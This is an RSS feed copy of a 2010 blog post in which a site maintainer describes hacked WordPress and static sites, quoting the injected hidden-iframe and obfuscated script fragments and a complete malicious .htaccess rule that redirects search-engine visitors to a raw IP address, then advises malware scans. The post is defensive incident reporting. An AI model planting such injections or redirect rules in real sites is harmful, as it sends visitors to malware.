<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Shoultes.net &#187; wordpress security</title> <atom:link href="http://shoultes.net/category/wordpress-security/feed/" rel="self" type="application/rss+xml" /><link>http://shoultes.net</link> <description>Seth Shoultes PHP Website</description> <lastBuildDate>Fri, 01 Apr 2011 20:39:40 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.0</generator> <item><title>WordPress/Website Security Exploits</title><link>http://shoultes.net/wordpresswebsite-security-exploits/</link> <comments>http://shoultes.net/wordpresswebsite-security-exploits/#comments</comments> <pubDate>Sat, 02 Jan 2010 03:28:16 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[HTML]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[Website Security]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[wordpress security]]></category><guid isPermaLink="false">http://shoultes.net/?p=1542</guid> <description><![CDATA[I have recently seen several websites that I maintain, as well as several that I don&#8217;t maintain, hacked by some kind of bot net. It has been a really good learning experience to say the least. Most of the hacked websites were running WordPress, so my first thought that it was some kind of security [...]]]></description> <content:encoded><![CDATA[<p>I have recently seen several websites that I maintain, as well as several that I don&#8217;t maintain, hacked by some kind of bot net. It has been a really good learning experience to say the least.</p><p>Most of the hacked websites were running <a href="http://wordpress.org/" target="_blank">WordPress</a>, so my first thought that it was some kind of security exploit in <a href="http://wordpress.org/" target="_blank">WordPress</a>. Then I was asked to investigate of a few static <a href="http://en.wikipedia.org/wiki/HTML" target="_blank">HTML</a> or <a href="http://en.wikipedia.org/wiki/PHP" target="_blank">PHP</a> driven websites without <a href="http://wordpress.org/" target="_blank">WordPress</a> installations. All of the hacks were very similar and had their index.php, index.html, and .<a href="http://en.wikipedia.org/wiki/Htaccess" target="_blank">htaccess</a> files modified. In the index.php and index.html files there was javascript code and <a href="http://en.wikipedia.org/wiki/Iframe_virus" target="_blank">iframe virus</a> codes appended to the end of the file that would try to install different variants of <a title="Badware" href="http://en.wikipedia.org/wiki/Badware">badware</a>/<a title="Malware" href="http://en.wikipedia.org/wiki/Malware">malware</a> to unsuspecting visitors. I even seen a file that had stripped out part of the code within the file and replaced it with the malicious javascript and  <a href="http://en.wikipedia.org/wiki/Iframe_virus" target="_blank">iframe virus</a> <a href="http://en.wikipedia.org/wiki/Browser_exploit" target="_blank">browser exploits</a>. Therefore completely breaking the file (luckily we had a backup of the now broken file and were able to to get the site working again.) <span id="more-1542"></span></p><p>The funny thing is that some of the these exploits were done sloppily and actually exposed the malicious code that was appended to the end of the file. The malicious code had been placed at the end of the file right after the &lt;/html&gt; tag.</p><p>Here is how the code looked:</p><p><code>&lt;/html&gt;iframe src='http://url/' width='1' height='1' style='visibility: hidden;'&gt;&lt;/iframe&gt; </code></p><p>or</p><p><code>&lt;/html&gt;script&gt;function c102916999516l4956a7e7c979e(l4956a7e7c9b86){... </code> (which would then show all of the html in the hack)</p><p>Instead of:<br /> <code>&lt;/html&gt;&lt;iframe src='http://url/' width='1' height='1' style='visibility: hidden;'&gt;&lt;/iframe&gt;</code></p><p>or</p><p><code>&lt;/html&gt;&lt;script&gt;function c102916999516l4956a7e7c979e(l4956a7e7c9b86){... </code></p><p>After removing the infected code from the files the hackers went after the .htaccess files of some of the websites by downloading, deleting and re-uploading the new file with redirects (sometimes 2-3 times a day.) So that if someone performs a search on Google (or most of its competitors) and your website comes up for a searched term, the unsuspecting user would be redirected to a porn website or a malicious website serving up viruses and badware etc.</p><p>Example of hacked .htaccess file:<br /> <code><br /> RewriteEngine On</p><p>RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]</p><p>RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]<br /> RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]<br /> </code><br /><div id="attachment_1543" class="wp-caption alignright" style="width: 160px"><a href="http://shoultes.net/wp-content/uploads/2010/01/htaccess_attacks.jpg"><img class="size-thumbnail wp-image-1543 colorbox-1542" title="htaccess_attacks" src="http://shoultes.net/wp-content/uploads/2010/01/htaccess_attacks-150x150.jpg" alt="Image of .htaccess Attacks" width="150" height="150" /></a><p class="wp-caption-text">Image of .htaccess Attacks</p></div></p><p>Upon investigation, I found out that the hacks may have come from some kind of spyware or trojan installed a clients  or a coworkers computer. The spyware  looks for ftp user names and passwords on the computer that it has infected. It logs into your server via ftp (using several different dynamic ip addresses) and downloads a file (usually .<a href="http://en.wikipedia.org/wiki/Htaccess" target="_blank">htaccess</a> and index.php files), adds malicious code to the file, deletes the old file on your server, then uploads the new file. The entire process of downloading, deleting, and re-uploading takes around 2 seconds!</p><p>To help prevent these attacks. Scan your PC with an updated AV and Malware scanner in safe mode.  From my experience with malware of this nature, the user account passwords are compromised though viruses/malware located on your local computer. This malware sniffs out passwords used and stored by FTP programs located on the computer. In order to protect against future attack, you will need to run full virus and malware scans on your computers to ensure that they are clean. I recommend using multiple scanners as we have found that some scanners do not detect the malware. MalwareBytes ( <a href="http://www.malwarebytes.org/" target="_blank">http://www.malwarebytes.org/</a> ) and ComboFix ( <a href="http://www.bleepingcomputer.com/combofix/how-to-use-combofix" target="_blank">http://www.bleepingcomputer.com/combofix/how-to-use-combofix</a> ) have been reported to be able to clean this malware.  Microsoft recently released an AV/Malware package at: <a href="http://www.microsoft.com/security_essentials" target="_blank">http://www.microsoft.com/security_essentials</a></p><p>More info:</p><p>http://www.websitesforsaleworld.co.uk/blog/2010/02/securing-your-wordpress-blog-from-attack/</p><p><a href="http://www.techjaws.com/new-php-exploit-on-the-loose/" target="_blank">http://www.techjaws.com/new-php-exploit-on-the-loose/</a></p><p><a href="http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/" target="_blank">http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/</a></p><p><a href="http://cyberinsecure.com/researchers-discover-new-cross-browser-exploit-that-affects-all-major-desktop-platforms/" target="_self">http://cyberinsecure.com/researchers-discover-new-cross-browser-exploit-that-affects-all-major-desktop-platforms/</a></p><p><a href="http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/" target="_blank">http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/</a></p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Wordpress%2FWebsite+Security+Exploits+-+http://b2l.me/ugq7u&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/wordpresswebsite-security-exploits/&amp;t=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Wordpress%2FWebsite+Security+Exploits&amp;body=Link: http://shoultes.net/wordpresswebsite-security-exploits/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/wordpresswebsite-security-exploits/&amp;n=Wordpress%2FWebsite+Security+Exploits&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/wordpresswebsite-security-exploits/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits&amp;description=I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits&amp;srcUrl=http://shoultes.net/wordpresswebsite-security-exploits/&amp;srcTitle=Wordpress%2FWebsite+Security+Exploits&amp;snippet=I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/wordpresswebsite-security-exploits/&amp;title=Wordpress%2FWebsite+Security+Exploits&amp;summary=I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Wordpress%2FWebsite%20Security%20Exploits%22&amp;body=Link: http://shoultes.net/wordpresswebsite-security-exploits/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/wordpresswebsite-security-exploits/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/wordpresswebsite-security-exploits/&amp;submitHeadline=Wordpress%2FWebsite+Security+Exploits&amp;submitSummary=I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Wordpress%2FWebsite+Security+Exploits&amp;body=Link: http://shoultes.net/wordpresswebsite-security-exploits/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A I%20have%20recently%20seen%20several%20websites%20that%20I%20maintain%2C%20as%20well%20as%20several%20that%20I%20don%27t%20maintain%2C%20hacked%20by%20some%20kind%20of%20bot%20net.%20It%20has%20been%20a%20really%20good%20learning%20experience%20to%20say%20the%20least.%0D%0A%0D%0AMost%20of%20the%20hacked%20websites%20were%20running%20Wordpress%2C%20so%20my%20first%20thought%20that%20it%20was%20some%20kind%20of%20securit" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/wordpresswebsite-security-exploits/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk (enhanced) (User agent is rejected)

Served from: shoultes.net @ 2012-02-03 19:29:50 -->
